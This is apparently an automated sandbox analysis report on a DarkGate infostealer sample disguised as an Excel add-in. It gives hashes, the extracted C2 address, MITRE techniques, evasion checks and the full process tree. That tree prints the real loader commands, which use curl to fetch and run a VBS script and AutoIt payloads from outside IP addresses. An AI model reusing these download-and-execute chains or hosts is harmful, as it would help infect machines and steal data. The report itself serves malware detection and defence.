darkgate | 392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

Analysis

max time kernel
141s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
21-09-2023 17:14

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General

Target

Hpv.xll
Size

50KB
MD5

d1a45948f411c02136ca98410475de52
SHA1

86ce40651326b8a67730da4e429d1bc202d46226
SHA256

392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23
SHA512

22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0
SSDEEP

1536:oUK23Jsm6Nh5wF3s8KjrtN/5TqRGiNwmU2x0X2Y:ICsNh5wF3s8KXHRTviNnAmY

Score

10^/10

darkgate stealer

Malware Config

Extracted

Family

darkgate

http://94.228.169.143

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow	pid	Process
40	1440	WScript.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

me.execmd.exeWScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	me.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 4 IoCs

Processes:

me.exebpzs.exebpzs.exeAutoit3.exe

pid	Process
1104	me.exe
4384	bpzs.exe
2888	bpzs.exe
1744	Autoit3.exe

Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid	Process
704	EXCEL.EXE
704	EXCEL.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Autoit3.exeEXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe

Delays execution with timeout.exe 1 IoCs

evasion

Processes:

timeout.exe

pid	Process
1248	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

Processes:

cmd.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	40	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
704	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid	Process
704	EXCEL.EXE
704	EXCEL.EXE

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid	Process
704	EXCEL.EXE
704	EXCEL.EXE
704	EXCEL.EXE
704	EXCEL.EXE
704	EXCEL.EXE
704	EXCEL.EXE
704	EXCEL.EXE
704	EXCEL.EXE
704	EXCEL.EXE
704	EXCEL.EXE

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

EXCEL.EXEme.execmd.exeWScript.execmd.exe

description	pid	Process	procid_target
PID 704 wrote to memory of 1104	704	EXCEL.EXE	87
PID 704 wrote to memory of 1104	704	EXCEL.EXE	87
PID 1104 wrote to memory of 4700	1104	me.exe	89
PID 1104 wrote to memory of 4700	1104	me.exe	89
PID 4700 wrote to memory of 1084	4700	cmd.exe	91
PID 4700 wrote to memory of 1084	4700	cmd.exe	91
PID 4700 wrote to memory of 1248	4700	cmd.exe	92
PID 4700 wrote to memory of 1248	4700	cmd.exe	92
PID 4700 wrote to memory of 1440	4700	cmd.exe	93
PID 4700 wrote to memory of 1440	4700	cmd.exe	93
PID 1440 wrote to memory of 3096	1440	WScript.exe	94
PID 1440 wrote to memory of 3096	1440	WScript.exe	94
PID 3096 wrote to memory of 4384	3096	cmd.exe	96
PID 3096 wrote to memory of 4384	3096	cmd.exe	96
PID 3096 wrote to memory of 2888	3096	cmd.exe	97
PID 3096 wrote to memory of 2888	3096	cmd.exe	97
PID 3096 wrote to memory of 1744	3096	cmd.exe	98
PID 3096 wrote to memory of 1744	3096	cmd.exe	98
PID 3096 wrote to memory of 1744	3096	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Hpv.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:704
- C:\Users\Public\me.exe
  C:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://5.42.77.33/QvCY2SE/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1104
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://5.42.77.33/QvCY2SE/123&&timeout 10&&c:\users\public\1.vbs
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\system32\curl.exe
      C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://5.42.77.33/QvCY2SE/123
      4⤵
      PID:1084
  - - C:\Windows\system32\timeout.exe
      timeout 10
      4⤵
      Delays execution with timeout.exe
      PID:1248
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"
      4⤵
      Blocklisted process makes network request
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1440
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c mkdir c:\bpzs & cd /d c:\bpzs & copy c:\windows\system32\curl.exe bpzs.exe & bpzs -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & bpzs -o vseukw.au3 http://94.228.169.143:2351/msibpzszuqi & Autoit3.exe vseukw.au3
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3096
      - \??\c:\bpzs\bpzs.exe
        
        bpzs -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351
        6⤵
        Executes dropped EXE
        
        PID:4384
      - \??\c:\bpzs\bpzs.exe
        
        bpzs -o vseukw.au3 http://94.228.169.143:2351/msibpzszuqi
        6⤵
        Executes dropped EXE
        
        PID:2888
      - \??\c:\bpzs\Autoit3.exe
        
        Autoit3.exe vseukw.au3
        6⤵
        Executes dropped EXE
        Checks processor information in registry
        
        PID:1744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Hpv.xll

Filesize
50KB

MD5
d1a45948f411c02136ca98410475de52

SHA1
86ce40651326b8a67730da4e429d1bc202d46226

SHA256
392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

SHA512
22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0

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C:\Users\Admin\AppData\Local\Temp\Hpv.xll

Filesize
50KB

MD5
d1a45948f411c02136ca98410475de52

SHA1
86ce40651326b8a67730da4e429d1bc202d46226

SHA256
392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

SHA512
22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0

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C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

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C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

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C:\bpzs\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\bpzs\bpzs.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

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C:\bpzs\bpzs.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

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C:\users\public\1.vbs

Filesize
8KB

MD5
32fa7538ba1ad12bf75dee2ad5664b78

SHA1
bcc6d2b34f4d078dafc69f60a55440930f2a6ef9

SHA256
c8b878419fd6822551fbfec3a0fb5a56985410b1b92f975c2d792dd62ceaf044

SHA512
4ebdbf23321bc1bd02244d58ad6664021691608e06ddb800f9966a9cd36c9b7e4d2ed5c48a6dc003845963523ae8ed19d8b5d4e6b3c27049972cf4743ad68206

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\??\c:\bpzs\bpzs.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

Download Submit
\??\c:\bpzs\vseukw.au3

Filesize
908KB

MD5
0ea7d1a7ad1b24835ca0b2fc6c51c15a

SHA1
c470650db0b249737b5cf84854292ba0b7ec68f7

SHA256
f9e6958800b576b94c26fd16691ca8e1ca7bda7a0abf0a8657d7cb0eb9a696de

SHA512
1f3d5738e84a955a053db7ac2c78e4a08154c0022f7d5e130bdce5c41cef25692d2e15a0fe80e641e4ded1308ede5673d1fb7635f5fc7bebe887a239201d4a7b

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memory/704-7-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

Filesize
64KB

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memory/704-27-0x00007FF97F970000-0x00007FF97F985000-memory.dmp

Filesize
84KB

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memory/704-12-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-14-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-13-0x00007FF947680000-0x00007FF947690000-memory.dmp

Filesize
64KB

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memory/704-15-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-16-0x00007FF947680000-0x00007FF947690000-memory.dmp

Filesize
64KB

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memory/704-10-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-9-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

Filesize
64KB

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memory/704-1-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-8-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-11-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-28-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-6-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-5-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-3-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

Filesize
64KB

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memory/704-4-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

Filesize
64KB

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memory/704-2-0x00007FF989870000-0x00007FF989A65000-memory.dmp

Filesize
2.0MB

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memory/704-0-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

Filesize
64KB

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memory/1744-46-0x0000000001460000-0x0000000001860000-memory.dmp

Filesize
4.0MB

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memory/1744-47-0x00000000041E0000-0x00000000042D5000-memory.dmp

Filesize
980KB

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memory/1744-48-0x0000000004AE0000-0x0000000004EA3000-memory.dmp

Filesize
3.8MB

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memory/1744-49-0x00000000041E0000-0x00000000042D5000-memory.dmp

Filesize
980KB

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memory/1744-50-0x0000000004AE0000-0x0000000004EA3000-memory.dmp

Filesize
3.8MB

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